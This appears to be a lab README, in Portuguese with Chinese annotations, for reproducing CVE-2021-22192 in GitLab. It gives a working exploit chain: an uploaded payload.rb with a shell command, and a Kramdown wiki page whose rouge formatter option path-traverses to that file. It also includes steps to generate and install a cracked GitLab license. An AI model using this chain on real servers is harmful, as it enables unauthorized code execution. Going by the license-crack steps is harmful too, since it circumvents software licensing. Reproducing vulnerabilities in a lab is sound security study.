
CVE-2021-22192 Laboratório: Vulnerabilidade RCE de Usuário Não Autorizado
Laboratório CVE-2021-22192: vulnerabilidade de RCE por usuário não autorizado
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│ ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│ ├── config .............. [Gitlab 配置挂载目录]
│ ├── data ................ [Gitlab 数据挂载目录]
│ ├── logs ................ [Gitlab 日志挂载目录]
│ ├── keys ................ [Gitlab 破解 License 存储目录]
│ └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│ ├── Dockerfile .......... [License 的 Docker 构建文件]
│ └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux: 一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux: 一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux: 一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux: 一键停止 Gitlab 靶场]
./keygen.sh ou ./keygen.ps1./run.sh ou ./run.ps1Quando o par de chaves de crack foi gerado anteriormente, a chave pública já foi gravada no backend do contêiner Gitlab. Agora você precisa enviar a chave privada pelo frontend para o Gitlab para concluir o crack:
./gitlab/keys/; copie o conteúdo de .gitlab-license (a chave privada)Enter license key, cole a chave privada e clique no botão Upload license para concluir o crack
./register.sh $TOKEN ou ./register.ps1 $TOKENA partir de agora, todos os repositórios podem usar este Runner para executar scripts de CI (Pipeline Jobs)

Assumindo que seu nome de usuário no Gitlab seja ${username} e o nome do repositório seja ${repository_name}, depois que o repositório tiver construído o SSG com sucesso usando jekyll, basta acessar a seguinte URL:
http://127.0.0.1:8000/${username}/${repository_name}/public/
Para o processo detalhado, consulte o hackerone.
+ -> New snippet no topo.Title como quiser, clique no campo de entrada Description (optional), depois clique em Attach a file e envie um arquivo chamado payload.rb com o seguinte conteúdo:puts "hello from ruby"
`echo exp was here > /tmp/exp`
Nesse momento, o link do arquivo será exibido em Description (optional), por exemplo: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb); o arquivo também já foi enviado para /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb no contêiner docker_gitlab. (Quanto ao Create snippet, você pode clicar ou não; basta lembrar do Hash desse caminho de arquivo.)
Atenção: não use
Snippet -> New snippetna barra lateral de um repositório, caso contrário o caminho do arquivo retornado será[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb); na verdade, o caminho enviado para o contêiner docker_gitlab se tornará/var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb. Como há uma string aleatória no meio, é difícil de explorar.
+ New Project no topo. Dê o nome que quiser (por exemplo, poc; ou nem crie, use um repositório já existente).Wiki na barra lateral e depois em Create your first page.Title e Content como quiser e clique em Create page.poc atual, chamado poc.wiki (clique em Clone repository no canto superior direito para encontrar o comando de clone: git clone http://127.0.0.1/root/poc.wiki.git).git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki para baixar o repositório wiki para a máquina local.page1.rmd com o seguinte conteúdo (observe que o Hash no caminho do arquivo deve ser substituído pelo Hash obtido anteriormente):{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1 criada localmente na barra de índice à direita; clique nela./tmp/exp já criado.Após clicar na página
page1.rmd, você pode ver a mensagem de erro emgitlab/logs/gitlab-rails/exceptions_json.log, mas isso não afeta o fato de que o comando já foi executado: